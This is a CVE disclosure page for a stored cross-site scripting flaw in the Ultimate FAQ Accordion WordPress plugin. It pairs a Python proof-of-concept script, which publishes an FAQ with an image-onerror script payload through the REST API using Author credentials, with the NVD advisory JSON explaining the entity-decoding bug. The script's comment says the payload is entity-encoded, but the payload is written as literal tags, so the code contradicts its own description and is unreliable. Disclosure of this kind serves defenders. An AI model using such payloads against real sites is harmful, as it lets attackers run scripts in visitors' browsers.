CVE-2026-4336

import requests import json # Target configuration target_url = "http://example.com/wp-json/wp/v2/ufaq" username = "author" password = "password" # Authenticate (using basic auth or application password) auth = (username, password) # Payload: HTML entity encoded XSS # Bypasses kses sanitization at save time payload_content = "<img src=x onerror=alert('CVE-2026-4336')>" headers = { "Content-Type": "application/json" } data = { "title": "FAQ XSS Test", "content": payload_content, "status": "publish" } # Send POST request to create FAQ via REST API response = requests.post(target_url, auth=auth, headers=headers, data=json.dumps(data)) if response.status_code == 201: print("POC successful: FAQ created. Visit the page to trigger XSS.") else: print(f"Failed: {response.status_code} - {response.text}")

{"cve": {"id": "CVE-2026-4336", "sourceIdentifier": "[email protected]", "published": "2026-04-09T05:16:04.910", "lastModified": "2026-04-24T18:03:42.203", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate FAQ Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via FAQ content in all versions up to, and including, 2.4.7. This is due to the plugin calling html_entity_decode() on post_content during rendering in the set_display_variables() function (View.FAQ.class.php, line 746), which converts HTML entity-encoded payloads back into executable HTML, combined with insufficient output escaping in the faq-answer.php template where the decoded content is echoed without wp_kses_post() or any other sanitization. The ufaq custom post type is registered with 'show_in_rest' => true and defaults to 'post' capability_type, allowing Author-level users to create and publish FAQs via the REST API. An Author can submit entity-encoded malicious HTML (e.g., <img src=x onerror=alert()>) which bypasses WordPress's kses sanitization at save time (since kses sees entities as plain text, not tags), but is then decoded back into executable HTML by html_entity_decode() at render time. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in FAQ pages that will execute whenever a user accesses an injected FAQ, either directly or via the [ultimate-faqs] shortcode."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ultimate-faqs/tags/2.4.7/ewd-ufaq-templates/faq-answer.php#L2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-faqs/tags/2.4.7/includes/CustomPostTypes.class.php#L84", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-faqs/tags/2.4.7/views/View.FAQ.class.php#L746", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-faqs/trunk/ewd-ufaq-templates/faq-answer.php#L2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-faqs/trunk/includes/CustomPostTypes.class.php#L84", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-faqs/trunk/views/View.FAQ.class.php#L746", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3492083%40ultimate-faqs&new=3492083%40ultimate-faqs&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5ac3ac02-d496-46cb-9aff-ffeeb8fd80fa?source=cve", "source": "[email protected]"}]}}